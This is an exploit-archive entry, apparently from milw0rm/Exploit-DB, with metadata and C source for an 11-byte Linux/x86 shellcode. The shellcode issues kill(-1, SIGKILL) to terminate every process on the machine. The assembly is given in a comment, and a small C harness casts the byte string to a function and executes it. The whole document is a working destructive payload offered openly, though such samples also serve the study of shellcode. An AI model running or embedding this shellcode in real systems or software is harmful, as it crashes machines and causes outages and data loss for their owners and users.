[] NeoSense

Linux/x86 - Kill All Processes Shellcode (11 bytes)

Author: Kris Katterjohn
type: 
platform: linux_x86
port: 11.0
date_added: 2007-03-08 
date_updated: 2017-08-23 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

/* By Kris Katterjohn 11/13/2006
 *
 * 11 byte shellcode to kill all processes for Linux/x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; kill(-1, SIGKILL)
 *
 *      push byte 37
 *      pop eax
 *      push byte -1
 *      pop ebx
 *      push byte 9
 *      pop ecx
 *      int 0x80
 */

main()
{
       char shellcode[] = "\x6a\x25\x58\x6a\xff\x5b\x6a\x09\x59\xcd\x80";

       (*(void (*)()) shellcode)();
}

// milw0rm.com [2007-03-09]